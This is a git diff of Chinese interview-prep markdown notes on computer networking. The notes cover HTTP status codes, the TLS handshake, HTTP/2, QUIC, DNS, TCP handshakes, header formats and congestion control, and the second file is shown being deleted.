Content,表示请求成功,但响应报⽂不含实体的主体部分,但是与 204 响应 - 不同在于要求请求⽅重置内容 -- 206 Partial Content,进⾏范围请求 - -**3XX 重定向** - -- 301 moved permanently,永久性重定向,表示资源已被分配了新的 URL -- 302 found,临时性重定向,表示资源临时被分配了新的 URL -- 303 see other,表示资源存在着另⼀个 URL,应使⽤ GET ⽅法获取资源 -- 304 not modified,表示服务器允许访问资源,但因发⽣请求未满⾜条件的情况 -- 307 temporary redirect,临时重定向,和302含义类似,但是期望客户端保持请求⽅法不 - 变向新的地址发出请求 - -**4XX 客户端错误** - -- 400 bad request,请求报⽂存在语法错误 -- 401 unauthorized,表示发送的请求需要有通过 HTTP 认证的认证信息 -- 403 forbidden,表示对请求资源的访问被服务器拒绝 -- 404 not found,表示在服务器上没有找到请求的资源 - -**5XX 服务器错误** - -- 500 internal sever error,表示服务器端在执⾏请求时发⽣了错误 -- 501 Not Implemented,表示服务器不⽀持当前请求所需要的某个功能 -- 502 Bad Gateway ,一般来自上游服务器无效响应,多来自nginx配置错误 -- 503 service unavailable,表明服务器暂时处于超负载或正在停机维护,⽆法处理请求 - -**HTTP ⾸部** - -![image-20220403170029317](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220403170029317.png) - -![image-20220403170154916](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220403170154916.png) - -![image-20220403170338157](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/image-20220403170338157.png) - -### HTTPS - -HTTPS 还是通过了 HTTP 来传输信息,但是信息通过 TLS 协议进⾏了加密。 - -**TLS**:star: - -TLS 协议位于传输层之上,应⽤层之下。⾸次进⾏ TLS 协议传输需要两个 RTT ,接下来可以 通过 Session Resumption 减少到⼀个 RTT。 - -在 TLS 中使⽤了两种加密技术,分别为:对称加密和⾮对称加密。 - -**对称加密** - -对称加密就是两边拥有相同的秘钥,两边都知道如何将密⽂加密解密。 - -**⾮对称加密:** - -有公钥私钥之分,公钥所有⼈都可以知道,可以将数据⽤公钥加密,但是将数据解密必须使 ⽤私钥解密,私钥只有分发公钥的⼀⽅才知道。 - -**TLS 握⼿过程如下图:** - -HTTPS(二) -- SSL/TLS 工作原理和详细握手过程_-出发-的博客-CSDN博客_ssl具体握手过程 - -1. 客户端发送⼀个随机值,需要的协议和加密⽅式 -2. 服务端收到客户端的随机值,⾃⼰也产⽣⼀个随机值,并根据客户端需求的协议和加密⽅式来使⽤对应的⽅式,发送⾃⼰的证书(如果需要验证客户端证书需要说明) -3. 客户端收到服务端的证书并验证是否有效,验证通过会再⽣成⼀个随机值,通过服务端证书的公钥去加密这个随机值并发送给服务端,如果服务端需要验证客户端证书的话会附带证书 -4. 服务端收到加密过的随机值并使⽤私钥解密获得第三个随机值,这时候两端都拥有了三个随机值,可以通过这三个随机值按照之前约定的加密⽅式⽣成密钥,接下来的通信就可以通过该密钥来加密解密 - -通过以上步骤可知,在 TLS 握⼿阶段,两端使⽤⾮对称加密的⽅式来通信,但是因为⾮对称 加密损耗的性能⽐对称加密⼤,**所以在正式传输数据时,两端使⽤对称加密的⽅式通信。** - -PS:以上说明的都是 TLS 1.2 协议的握⼿情况,在 1.3 协议中,⾸次建⽴连接只需要⼀个 RTT,后⾯恢复连接不需要 RTT 了。 - - ### HTTP 2.0 - -HTTP 2.0 相⽐于 HTTP 1.X,可以说是⼤幅度提⾼了 web 的性能。 - -在 HTTP 1.X 中,为了性能考虑,我们会引⼊雪碧图、将⼩图内联、使⽤多个域名等等的⽅式。这⼀切都是因为浏览器限制了同⼀个域名下的请求数量,当⻚⾯中需要请求很多资源的时候,队头阻塞(Head of line blocking)会导致在达到最⼤请求数量时,剩余的资源需要等待其他资源请求完成后才能发起请求。 - -在 HTTP 1.X 中,因为**队头阻塞**的原因,你会发现请求是这样的 - -**队头阻塞(head-of-line blocking)**发生在一个**TCP分节丢失,导致其后续分节不按序到达接收的时候。** 该后续分节将被接收端一直保持,直到丢失的第一个分节被发送端重传并到达接收为止。 该后续分节的延迟递送**确保接收应用进程能够按照发送端的发送顺序接收数据**。 - -1. **⼆进制传输** - - HTTP 2.0 中所有加强性能的核⼼点在于此。在之前的 HTTP 版本中,我们是通过**⽂本的⽅式 传数据**。在 HTTP 2.0 中引⼊了新的编码机制,**所有传输的数据都会被分割,并采⽤⼆进制 格式码**。 - -2. **多路复⽤** - - 在 HTTP 2.0 中,有两个⾮常重要的概念,分别是**帧(frame)和流(stream)**。 - - 帧代表着最⼩的数据单位,**每个帧会标识出该帧属于哪个流,流也就是多个帧组成的数据流**。 - - 多路复⽤,就是在⼀个 TCP 连接中可以存在多条流。换句话说,也就是可以发送多个请求,对端可以通过帧中的标识知道属于哪个请求。通过这个技术,可以**避免 HTTP 旧版本中的队头阻塞问题,极⼤的提⾼传输性能。** - -3. **Header 压缩** - - 在 HTTP 1.X 中,我们使⽤⽂本的形式传输 header,在 header 携带 cookie 的情况下,可能 每次都需要重复传输⼏百到⼏千的字节。 - - 在 HTTP 2.0 中,使⽤了 **HPACK 压缩格式对传输的 header 进⾏编码**,减少了 header 的⼤ ⼩。**并在两端维护了索引表,⽤于记录出现过的 header** ,**后⾯在传输过程中就可以传输已经 记录过的 header 的键名**,对端收到数据后就可以通过键名找到对应的值。 - -4. **服务端 Push** - - 在 HTTP 2.0 中,服务端可以在客户端某个请求后,主动推送其他资源。 - - 可以想象以下情况,某些资源客户端是⼀定会请求的,这时就可以采取服务端 push 的技术,提前给客户端推送必要的资源,这样就可以相对减少⼀点延迟时间。当然在浏览器兼容的情 况下你也可以使⽤ prefetch 。 - -### QUIC - -这是⼀个⾕歌出品的基于 UDP 实现的同为传输层的协议,⽬标很远⼤,希望替代 TCP 协议。 - -- 该协议⽀持多路复⽤,虽然 HTTP 2.0 也⽀持多路复⽤,但是下层仍是 TCP,因为 TCP的重传机制,只要⼀个包丢失就得判断丢失包并且重传,导致发⽣队头阻塞的问题,但是UDP 没有这个机制 -- **实现了⾃⼰的加密协议**,通过类似 TCP 的 TFO 机制可以实现 0-RTT,当然 TLS 1.3 已经实现了 0-RTT 了 -- ⽀持重传和纠错机制(向前恢复),在只丢失⼀个包的情况下不需要重传,使⽤纠错机制恢复丢失的包 - - **纠错机制:**通过异或的⽅式,算出发出去的数据的异或值并单独发出⼀个包,服务端在发现有⼀个包丢失的情况下,通过其他数据包和异或值包算出丢失包 - - 在丢失两个包或以上的情况就使⽤重传机制,因为算不出来了 - -### DNS - -DNS 的作⽤就是通过域名查询到具体的 IP。 - -因为 IP 存在数字和英⽂的组合(IPv6),很不利于⼈类记忆,所以就出现了域名。你可以把 域名看成是某个 IP 的别名,DNS 就是去查询这个别名的真正名称是什么。 - -**在 TCP 握⼿之前就已经进⾏了 DNS 查询,这个查询是操作系统⾃⼰做的。**当你在浏览器中 想访问 www.google.com 时,会进⾏⼀下操作: - -1. 操作系统会⾸先在本地缓存中查询 -2. 没有的话会去系统配置的 DNS 服务器中查询 -3. 如果这时候还没得话,会直接去 DNS 根服务器查询,这⼀步查询会找出负责 com 这个⼀级域名的服务器 -4. 然后去该服务器查询 google 这个⼆级域名 -5. 接下来三级域名的查询其实是我们配置的,你可以给 www 这个域名配置⼀个 IP,然后还可以给别的三级域名配置⼀个 IP - -以上介绍的是 DNS **迭代查询**,还有种是递归查询,区别就是前者是由客户端去做请求,后者是系统配置的 DNS 服务器做请求,得到结果后将数据返回给客户端。 - -PS:**DNS 是基于 UDP 做的查询。** - -### 从输⼊ URL 到⻚⾯加载完成的过程 :star: - -这是⼀个很经典的⾯试题,在这题中可以将本⽂讲得内容都串联起来。 -1. ⾸先做 DNS 查询,如果这⼀步做了智能 DNS 解析的话,会提供访问速度最快的 IP 地址回来。 -2. **接下来是 TCP 握⼿**,应⽤层会下发数据给传输层,这⾥ TCP 协议会指明两端的端⼝号,然后下发给⽹络层。⽹络层中的 IP 协议会确定 IP 地址,并且指示了数据传输中如何跳转路由器。然后包会再被封装到数据链路层的数据帧结构中,最后就是物理层⾯的传输了。 -3. TCP 握⼿结束后会进⾏ **TLS 握⼿**,然后就开始正式的传输数据。 -4. 数据在进⼊服务端之前,可能还会先经过负责负载均衡的服务器,它的作⽤就是将请求合理的分发到多台服务器上,这时假设服务端会响应⼀个 HTML ⽂件 -5. ⾸先浏览器会判断状态码是什么,如果是 200 那就继续解析,如果 400 或 500 的话就会报错,如果 300 的话会进⾏重定向,这⾥会有个重定向计数器,避免过多次的重定向,超过次数也会报错。 -6. 浏览器开始解析⽂件,如果是 gzip 格式的话会先解压⼀下,然后通过⽂件的编码格式知道该如何去解码⽂件。 -7. ⽂件解码成功后会正式开始渲染流程,先会根据 HTML 构建 DOM 树,有 CSS 的话会去构建 CSSOM 树。如果遇到 script 标签的话,会判断是否存在 async 或者 defer,前者会并⾏进⾏下载并执⾏ JS,后者会先下载⽂件,然后等待 HTML 解析完成后顺序执⾏,如果以上都没有,就会阻塞住渲染流程直到 JS 执⾏完毕。遇到⽂件下载的会去下 载⽂件,这⾥如果使⽤ HTTP 2.0 协议的话会极⼤的提⾼多图的下载效率。 - -8. 初始的 HTML 被完全加载和解析后会触发 DOMContentLoaded 事件 -9. CSSOM 树和 DOM 树构建完成后会开始⽣成 Render 树,这⼀步就是确定⻚⾯元素的布局、样式等等诸多⽅⾯的东⻄ -10. 在⽣成 Render 树的过程中,浏览器就开始调⽤ GPU 绘制,合成图层,将内容显示在屏幕上了 - -## 数据结构章节 - -科班就略了哈.... diff --git "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234\351\235\242\350\257\225\351\242\230.md" "b/src/\351\235\242\350\257\225\351\200\232\347\224\250/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234\351\235\242\350\257\225\351\242\230.md" deleted file mode 100644 index fcfa3efc..00000000 --- "a/src/\351\235\242\350\257\225\351\200\232\347\224\250/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234\351\235\242\350\257\225\351\242\230.md" +++ /dev/null @@ -1,670 +0,0 @@ ---- -date: 2022-04-11 -icon: page -category: -- 面试题 -- 前端 ---- - -# 计算机网络面试题 - -> 参照: -> -> https://yihuiblog.top/browser-working/L2.html -> -> https://mp.weixin.qq.com/s/-IOy2hXd-AcuIQ02saf6Rw -> -> https://www.cnblogs.com/yaochunhui/p/14175396.html -> -> https://blog.csdn.net/weixin_39829073/article/details/112907168 - -## 基础知识 - -### 1. OSI与TCP/IP 模型 - -OSI七层:物理层、数据链路层、网络层、传输层、会话层、表示层、应用层 - -TCP/IP五层:物理层、数据链路层、网络层、传输层、应用层 - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111230156.jpeg) - -七层网络体系结构各层的主要功能: - -- 应用层:为应用程序提供交互服务。在互联网中的应用层协议很多,如域名系统`DNS`, 支持万维网应用的`HTTP`协议,支持电子邮件的`SMTP`协议等。 - -- 表示层:主要负责数据格式的转换,如加密解密、转换翻译、压缩解压缩等。 - -- 会话层:负责在网络中的两节点之间建立、维持和终止通信,如服务器验证用户登录便是由会话层完成的。 - -- 运输层:有时也译为传输层,向主机进程提供通用的数据传输服务。该层主要有以下两种协议: - -- - `TCP`:提供面向连接的、可靠的数据传输服务; - - `UDP`:提供无连接的、尽最大努力的数据传输服务,但不保证数据传输的可靠性。 - -- 网络层:选择合适的路由和交换结点,确保数据及时传送。主要包括`IP`协议。 - -- 数据链路层:数据链路层通常简称为链路层。将网络层传下来的`IP`数据包组装成帧,并再相邻节点的链路上传送帧。 - -- 物理层:实现相邻节点间比特流的透明传输,尽可能屏蔽传输介质和通信手段的差异。 - -### 2. 常见网络服务分层 - -应用层:`HTTP`、`DNS`、`FTP`、`SMTP` - -传输层:`TCP `、`UDP` - -网络层:`IP`、`ICMP `、路由器、防火墙 - -数据链路层:网卡、网桥、交换机 - -物理层:中继器、集线器 - -### 3. TCP三次握手 - -图片 - -**三次握手过程:** - -1. 客户端——发送带有`SYN`标志的数据包——服务端 **一次握手** 客户端进入`syn_sent`状态 -2. 服务端——发送带有`SYN/ACK`标志的数据包——客户端 **二次握手** 服务端进入`syn_rcvd` -3. 客户端——发送带有`ACK`标志的数据包——服务端 **三次握手** 连接就进入`Established`状态 - -**为什么三次:** 主要是为了建立可靠的通信信道,保证客户端与服务端同时具备发送、接收数据的能力。 - -**为什么两次不行?** - -1. 防止已失效的请求报文又传送到了服务端,建立了多余的链接,浪费资源。 -2. **两次握手只能保证单向连接是畅通的。**(为了实现可靠数据传输, `TCP `协议的通信双方, 都必须维护一个序列号, 以标识发送出去的数据包中, 哪些是已经被对方收到的。三次握手的过程即是通信双方 相互告知序列号起始值, 并确认对方已经收到了序列号起始值的必经步骤;如果只是两次握手, 至多只有连接发起方的起始序列号能被确认, 另一方选择的序列号则得不到确认)。 - -### 4. 四次挥手过程: - -1. 客户端——发送带有`FIN`标志的数据包——服务端,关闭与服务端的连接 ,客户端进入`FIN-WAIT-1`状态 -2. 服务端收到这个 `FIN`,它发回⼀ 个 `ACK`,确认序号为收到的序号加`1`,服务端就进入了`CLOSE-WAIT`状态 -3. 服务端——发送⼀个`FIN`数据包——客户端,关闭与客户端的连接,客户端就进入`FIN-WAIT-2`状态 -4. 客户端收到这个 `FIN`,发回 `ACK `报⽂确认,并将确认序号设置为收到序号加`1`,客户端进入`TIME-WAIT`状态 - -图片 - -**为什么四次:**因为需要确保客户端与服务端的数据能够完成传输。 - -**CLOSE-WAIT:** 这种状态的含义其实是表示在**等待关闭**。 - -**TIME-WAIT:** 为了解决网络的丢包和网络不稳定所带来的其他问题,确保连接方能在时间范围内,关闭自己的连接。 - -### 5. 为什么连接的时候是三次握手,关闭的时候却是四次握手? - -服务器在收到客户端的`FIN`报文段后,可能还有一些数据要传输,所以不能马上关闭连接,但是会做出应答,返回`ACK`报文段。 - -接下来可能会继续发送数据,在数据发送完后,服务器会向客户端发送`FIN`报文,表示数据已经发送完毕,请求关闭连接。服务器的`ACK`和`FIN`一般都会分开发送,从而导致多了一次,因此一共需要四次挥手。 - -### 6. 如何查看TIME-WAIT状态的链接数量? - -```shell -netstat -an | grep TIME_WAIT | wc -l //查看连接数等待time_wait状态连接数 -``` - -### 7. 为什么会TIME-WAIT过多?解决方法是怎样的? - -**可能原因:**高并发短连接的`TCP`服务器上,当服务器处理完请求后立刻按照主动正常关闭连接 - -**解决:**负载均衡服务器;Web服务器首先关闭来自负载均衡服务器的连接 - -### 8. 半连接,洪泛攻击问题以及如何解决(syn_cookie) - -在三次握手的过程中,服务器为了响应一个受到的`SYN`报文段,会分配并初始化连接变量和缓存,然后服务器发送一个`SYN/ACK`报文段进行响应,并等待客户端的`ACK`报文段。**如果客户不发送`ACK`来完成该三次握手的第三步,最终(通常在一分多钟之后)服务器将终止该半开连接并回收资源。这种`TCP`连接管理协议的特性就会有这样一个漏洞,攻击者发送大量的`TCP SYN`报文段,而不完成第三次握手的步骤。**随着这种`SYN`报文段的不断到来,服务器不断为这些半开连接分配资源,从而导致服务器连接资源被消耗殆尽。这种攻击就是`SYN`泛供攻击。 - -为了应对这种攻击,现在有一种**有效的防御系统,称为SYN cookie**。SYN cookie的工作方式如下: - -1. 当服务器接收到一个`SYN`报文段时,它并不知道该报文段是来自一个合法的用户,还是这种SYN洪泛攻击的一部分。因为服务器不会为该报文段生成一个半开的连接。相反,服务器生成一个初始`TCP`序列号,该序列号是SYN报文段的源IP地址和目的IP地址,源端口号和目的端口号以及仅有服务器知道的秘密数的复杂函数(散列函数)。这种精心制作的初始序列号称为为“cookie”。服务器则发送具有这种特殊初始序号的`SYN/ACK`报文分组。服务器并不记忆该cookie或任何对应于SYN的其他状态信息。 -2. 如果该客户是合法的,则它将返回一个`ACK`报文段。当服务器收到该`ACK`报文段,需要验证该ACK是与前面发送的某个`SYN`相对应。由于服务器并不维护有关`SYN`报文段的记忆,所以服务器通过使用`SYN/ACK`报文段中的源和目的IP地址与端口号以及秘密数运行相同的散列函数。如果这个函数的结果(cookie值)加1和在客户的ACK报文段中的确认值相同的话,那么服务器就会认为该`ACK`对应于较早的`SYN`报文段,因此它是合法的。服务器则会生成一个套接字的全开连接。 -3. 另一方面,如果客户没有返回一个`ACK`报文段,说明之前的`SYN`报文段是洪泛攻击的一部分,但是它并没有对服务器产生危害,因为服务器没有为它分配任何资源。 - -### 9. 为什么客户端的TIME-WAIT状态必须等待2MSL ? - -主要有两个原因: - -1. **为了保证客户端发送的最后一个ACK报文段能够达到服务器。**这个`ACK`报文段可能丢失,因而使处在`LAST-ACK`状态的服务器收不到确认。服务器会超时重传`FIN+ACK`报文段,客户端就能在2MSL时间内收到这个重传的`FIN+ACK`报文段,接着客户端重传一次确认,重启计时器。最好,客户端和服务器都正常进入到`CLOSED`状态。如果客户端在`TIME-WAIT`状态不等待一段时间,而是再发送完`ACK`报文后立即释放连接,那么就无法收到服务器重传的`FIN+ACK`报文段,因而也不会再发送一次确认报文。这样,服务器就无法按照正常步骤进入`CLOSED`状态。 -2. **防止已失效的连接请求报文段出现在本连接中。**客户端在发送完最后一个`ACK`确认报文段后,再经过时间`2MSL`,就可以使本连接持续的时间内所产生的所有报文段都从网络中消失。这样就可以使下一个新的连接中不会出现这种旧的连接请求报文段。 - -### 10. 4g切换wifi会发生什么 - -当移动设备的网络从`4G`切换到`WiFi`时,意味着IP地址变化了,那么必须要断开连接,然后重新连接,而建立连接的过程包含TCP三次握手和TLS四次挥手的时延,以及TCP慢启动的减速过程,给用户的感觉就是突然网络卡顿了一下,所以说,迁移的成本是很高的。 - -**http3是怎么解决连接迁移** - -`HTTP3`中`QUIC`协议没有用四元组的方式来"绑定”连接,而是**通过连接ID来标记通信的两个端点**,客户端和服务器可以各自选择一组ID来标记自己,因此即使移动设备的网络变化后,导致IP地址变化了,**只要仍保有上下文信息(比如连接ID、TLS 密钥等)**,就可以"**无缝"地复用原连接**,消除重连的成本,没有丝毫卡顿感,达到了**连接迁移**的功能。 - -### 11. TCP与UDP区别及场景 - -| 类型 | 特点 | 性能 | 应用过场景 | 首部字节 | -| :--- | :------------------------- | :--------------------- | :--------------- | :------- | -| TCP | 面向连接、可靠、字节流 | 传输效率慢、所需资源多 | 文件、邮件传输 | 20-60 | -| UDP | 无连接、不可靠、数据报文段 | 传输效率快、所需资源少 | 语音、视频、直播 | 8个字节 | - -**基于TCP的协议:**`HTTP`、`FTP`、`SMTP` - -**基于UDP的协议:** `RIP`、`DNS`、`SNMP` - -### 12. TCP滑动窗口,拥塞控制 - -**TCP通过:**应用数据分割、对数据包进行编号、校验和、流量控制、拥塞控制、超时重传等措施保证数据的可靠传输。 - -**拥塞控制目的:**为了防止过多的数据注入到网络中,避免网络中的路由器、链路过载。 - -**拥塞控制过程:**TCP维护一个拥塞窗口,该窗口随着网络拥塞程度动态变化,通过慢开始、拥塞避免等算法减少网络拥塞的发生。 - -### 13. TCP粘包原因和解决方法 - -**TCP粘包是指**:发送方发送的若干包数据到接收方接收时粘成一包 - -**发送方原因:** - -TCP默认使用Nagle算法(主要作用:减少网络中报文段的数量): - -收集多个小分组,在一个确认到来时一起发送、导致发送方可能会出现粘包问题 - -**接收方原因:** - -TCP将接收到的数据包保存在接收缓存里,如果TCP接收数据包到缓存的速度大于应用程序从缓存中读取数据包的速度,多个包就会被缓存,应用程序就有可能读取到多个首尾相接粘到一起的包。 - -- **传输层的UDP协议不会发生粘包或者拆包问题** - - `UDP`是基于报文发送的,在`UDP`首部采用了16bit来指示`UDP`数据报文的长度,因此在应用层能很好的将不同的数据报文区分开,从而避免粘包和拆包的问题。 - -- **传输层的TCP协议会发生粘包或者拆包问题** - - 原因有以下两点: - -- 1. `TCP`是基于字节流的,虽然应用层和传输层之间的数据交互是大小不等的数据块,但是`TCP`把这些数据块仅仅看成一连串无结构的字节流,没有边界; - 2. 在`TCP`的首部没有表示数据长度的字段,基于上面两点,在使用`TCP`传输数据时,才有粘包或者拆包现象发生的可能。 - -**解决粘包问题:**解决问题的关键在于如何给每个数据包添加边界信息 - -最本质原因在与接收对等方无法分辨消息与消息之间的边界在哪,通过使用某种方案给出边界,例如: - -- 发送定长包。每个消息的大小都是一样的,接收方只要累计接收数据,直到数据等于一个定长的数值就将它作为一个消息。 -- 包尾加上\r\n标记。`FTP`协议正是这么做的。但问题在于如果数据正文中也含有\r\n,则会误判为消息的边界。 -- 包头加上包体长度。包头是定长的4个字节,说明了包体的长度。接收对等方先接收包体长度,依据包体长度来接收包体。 - -### 14. TCP、UDP报文格式 - -**TCP报文格式:** - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111514362.jpeg) - -**源端口号和目的端口号**: - -用于寻找发端和收端应用进程。这两个值加上`IP`首部源端IP地址和目的端`IP`地址唯一确定一个`TCP`连接。 - -**序号字段:** - -序号用来标识从`TCP`发端向`TCP`收端发送的数据字节流,它表示在这个报文段中的的第一个数据字节。如果将字节流看作在两个应用程序间的单向流动,则 `TCP`用序号对每个字节进行计数。序号是32 bit的无符号数,序号到达 2^32-1后又从0开始。 - -当建立一个新的连接时,`SYN`标志变1。序号字段包含由这个主机选择的该连接的初始序号ISN(Initial Sequence Number)。该主机要发送数据的第一个字节序号为这个ISN加1,因为`SYN`标志消耗了一个序号 - -**确认序号**: - -既然每个传输的字节都被计数,确认序号包含发送确认的一端所期望收到的下一个序号。因此,确认序号应当是上次已成功收到数据字节序号加 1。只有`ACK`标志为 1时确认序号字段才有效。发送`ACK`无需任何代价,因为 32 bit的确认序号字段和A C K标志一样,总是TCP首部的一部分。因此,我们看到一旦一个连接建立起来,这个字段总是被设置, ACK标志也总是被设置为1。TCP为应用层提供全双工服务。这意味数据能在两个方向上独立地进行传输。因此,连接的每一端必须保持每个方向上的传输数据序号。 - -**首都长度**: - -首部长度给出首部中 32 bit字的数目。需要这个值是因为任选字段的长度是可变的。这个字段占4 bit,因此TCP最多有6 0字节的首部。然而,没有任选字段,正常的长度是 20字节。 - -**标志字段**:在`TCP`首部中有 6个标志比特,它们中的多个可同时被设置为1。 - -- `URG`紧急指针(u rgent pointer)有效 -- `ACK`确认序号有效。 -- `PSH`接收方应该尽快将这个报文段交给应用层。 -- `RST`重建连接。 -- `SYN`同步序号用来发起一个连接。这个标志和下一个标志将在第 1 8章介绍。 -- `FIN`发端完成发送任务。 - -**窗口大小**: - -`TCP`的流量控制由连接的每一端通过声明的窗口大小来提供。窗口大小为字节数,起始于确认序号字段指明的值,这个值是接收端期望接收的字节。窗口大小是一个 16 bit字段,因而窗口大小最大为 65535字节。 - -**检验和:** - -检验和覆盖了整个的 `TCP`报文段:`TCP`首部和`TCP`数据。这是一个强制性的字段,一定是由发端计算和存储,并由收端进行验证。 - -**紧急指针**: - -只有当`URG`标志置1时紧急指针才有效。紧急指针是一个正的偏移量,和序号字段中的值相加表示紧急数据最后一个字节的序号。`TCP`的紧急方式是发送端向另一端发送紧急数据的一种方式。 - -**选项**: - -最常见的可选字段是最长报文大小,又称为 `MSS `(Maximum Segment Size)。每个连接方通常都在通信的第一个报文段(为建立连接而设置 `SYN`标志的那个段)中指明这个选项。它指明本端所能接收的最大长度的报文段。 - -**UDP报文格式:** - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111514354.jpeg) - -**端口号**: - -用来表示发送和接受进程。由于 `IP`层已经把I P数据报分配给`TCP`或 `UDP`(根据I P首部中协议字段值),因此`TCP`端口号由`TCP`来查看,而 `UDP`端口号由 `UDP`来查看。`TCP`端口号与 `UDP`端口号是相互独立的。 - -**长度**: - -`UDP`长度字段指的是 `UDP`首部和 `UDP`数据的字节长度。该字段的最小值为 8字节(发送一份0字节的 `UDP`数据报是 O K)。 - -**检验和**: - -`UDP`检验和是一个端到端的检验和。它由发送端计算,然后由接收端验证。其目的是为了发现 `UDP`首部和数据在发送端到接收端之间发生的任何改动。 - -**IP报文格式:**普通的IP首部长为20个字节,除非含有可选项字段。 - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111514369.jpeg) - -**4位版本**:目前协议版本号是4,因此IP有时也称作IPV4. - -**4位首部长度**: - -首部长度指的是首部占`32bit`字的数目,包括任何选项。由于它是一个4比特字段,因此首部长度最长为60个字节。 - -**服务类型(TOS)**: - -服务类型字段包括一个`3bit`的优先权字段(现在已经被忽略),`4bit`的TOS子字段和1bit未用位必须置0。`4bit`的TOS分别代表:最小时延,最大吞吐量,最高可靠性和最小费用。4bit中只能置其中1比特。如果所有4bit均为0,那么就意味着是一般服务。 - -**总长度**: - -总长度字段是指整个IP数据报的长度,以字节为单位。利用首部长度和总长度字段,就可以知道IP数据报中数据内容的起始位置和长度。由于该字段长`16bit`,所以IP数据报最长可达65535字节。当数据报被分片时,该字段的值也随着变化。 - -**标识字段**: - -标识字段唯一地标识主机发送的每一份数据报。通常每发送一份报文它的值就会加1。 - -**生存时间**: - -TTL(time-to-live)生存时间字段设置了数据报可以经过的最多路由器数。它指定了数据报的生存时间。TTL的初始值由源主机设置(通常为 3 2或6 4),一旦经过一个处理它的路由器,它的值就减去 1。当该字段的值为 0时,数据报就被丢弃,并发送 `ICMP `报文通知源主机。 - -**首部检验和**: - -首部检验和字段是根据 I P首部计算的检验和码。它不对首部后面的数据进行计算。`ICMP`、`IGMP`、`UDP`和`TCP`在它们各自的首部中均含有同时覆盖首部和数据检验和码。 - -**以太网报文格式:** - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111514395.jpeg) - -**目的地址和源地址:** 是指网卡的硬件地址(也叫MAC 地址),长度是48 位,是在网卡出厂时固化的。 - -**数据:** - -以太网帧中的数据长度规定最小46 字节,最大1500 字节,`ARP `和`RARP `数据包的长度不够46 字节,要在后面补填充位。最大值1500 称为以太网的最大传输单元(`MTU`),不同的网络类型有不同的`MTU`,如果一个数据包从以太网路由到拨号链路上,数据包度大于拨号链路的`MTU`了,则需要对数据包进行分片fragmentation)。`ifconfig `命令的输出中也有“MTU:1500”。注意,`MTU`个概念指数据帧中有效载荷的最大长度,不包括帧首部的长度。 - -### 15. TCP协议如何保证可靠传输机制? - -**TCP主要提供了检验和、序列号/确认应答、超时重传、滑动窗口、拥塞控制和流量控制等方法实现了可靠性传输。** - -- **检验和:**通过检验和的方式,接收端可以检测出来数据是否有差错和异常,假如有差错就会直接丢弃`TCP`段,重新发送。 -- **序列号/确认应答:**序列号的作用不仅仅是应答的作用,有了序列号能够将接收到的数据根据序列号排序,并且去掉重复序列号的数据。`TCP`传输的过程中,每次接收方收到数据后,都会对传输方进行确认应答。也就是发送`ACK`报文,这个`ACK`报文当中带有对应的确认序列号,告诉发送方,接收到了哪些数据,下一次的数据从哪里发。 -- **超时重传:** 超时重传是指发送出去的数据包到接收到确认包之间的时间,如果超过了这个时间会被认为是丢包了,需要重传。最大超时时间是动态计算的。 -- **滑动窗口:** 滑动窗口既提高了报文传输的效率,也避免了发送方发送过多的数据而导致接收方无法正常处理的异常。 -- **拥塞控制:** 在数据传输过程中,可能由于网络状态的问题,造成网络拥堵,此时引入拥塞控制机制,在保证`TCP`可靠性的同时,提高性能。 -- **流量控制:** 如果主机A一直向主机B发送数据,不考虑主机B的接受能力,则可能导致主机B的接受缓冲区满了而无法再接受数据,从而会导致大量的数据丢包,引发重传机制。而在重传的过程中,若主机B的接收缓冲区情况仍未好转,则会将大量的时间浪费在重传数据上,降低传送数据的效率。所以引入流量控制机制,主机B通过告诉主机A自己接收缓冲区的大小,来使主机A控制发送的数据量。流量控制与`TCP`协议报头中的窗口大小有关。 - -### 16. TCP的滑动窗口? - -在进行数据传输时,如果传输的数据比较大,就需要拆分为多个数据包进行发送。`TCP`协议需要对数据进行确认后,才可以发送下一个数据包。这样一来,就会在等待确认应答包环节浪费时间。为了避免这种情况,`TCP`引入了窗口概念。窗口大小指的是不需要等待确认应答包而可以继续发送数据包的最大值。 - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111514470.jpeg) - -从上面的图可以看到滑动窗口左边的是已发送并且被确认的分组,滑动窗口右边是还没有轮到的分组。 - -滑动窗口里面也分为两块,一块是已经发送但是未被确认的分组,另一块是窗口内等待发送的分组。随着已发送的分组不断被确认,窗口内等待发送的分组也会不断被发送。整个窗口就会往右移动,让还没轮到的分组进入窗口内。 - -可以看到滑动窗口起到了一个限流的作用,也就是说当前滑动窗口的大小决定了当前`TCP`发送包的速率,而滑动窗口的大小取决于拥塞控制窗口和流量控制窗口的两者间的最小值。 - -### 17. 详细讲一下拥塞控制? 为何要进行拥塞控制? - -A在给B传输数据, A却没有收到B反馈的`TCP`,A就认为B发送的数据包丢失了..进而会重新传输这个丢失的数据包。然而实际情况有可能此时有太多主机正在使用信道资源,导致**网络拥塞**了。重传数据浪费了资源,所以要进行拥塞控制。发送发不知道一次发多少数据合适,所以设置一个拥塞窗口。 - -**TCP拥塞控制原理是通过:慢启动、拥塞避免、快重传、快启动** - -发送方维持一个叫做拥塞窗口cwnd (congestion window)的状态变量。当cwndssthresh时, 改用拥塞避免算法。 - -- **慢开始:** 不要一开始就发送大量的数据,由小到大逐渐增加拥塞窗口的大小。 -- **拥塞避免:** 拥塞避免算法让拥塞窗口缓慢增长,即每经过一个往返时间RTT就把发送方的拥塞窗口cwnd加1而不是加倍。这样拥塞窗口按线性规律缓慢增长。 -- **快重传:** 我们可以剔除一些不必要的拥塞报文,提高网络吞吐量。比如接收方在收到一个失序的报文段后就立即发出重复确认,而不要等到自己发送数据时捎带确认。快重传规定:发送方只要一连收到三个重复确认就应当立即重传对方尚未收到的报文段,而不必继续等待设置的重传计时器时间到期。 -- **快恢复:** 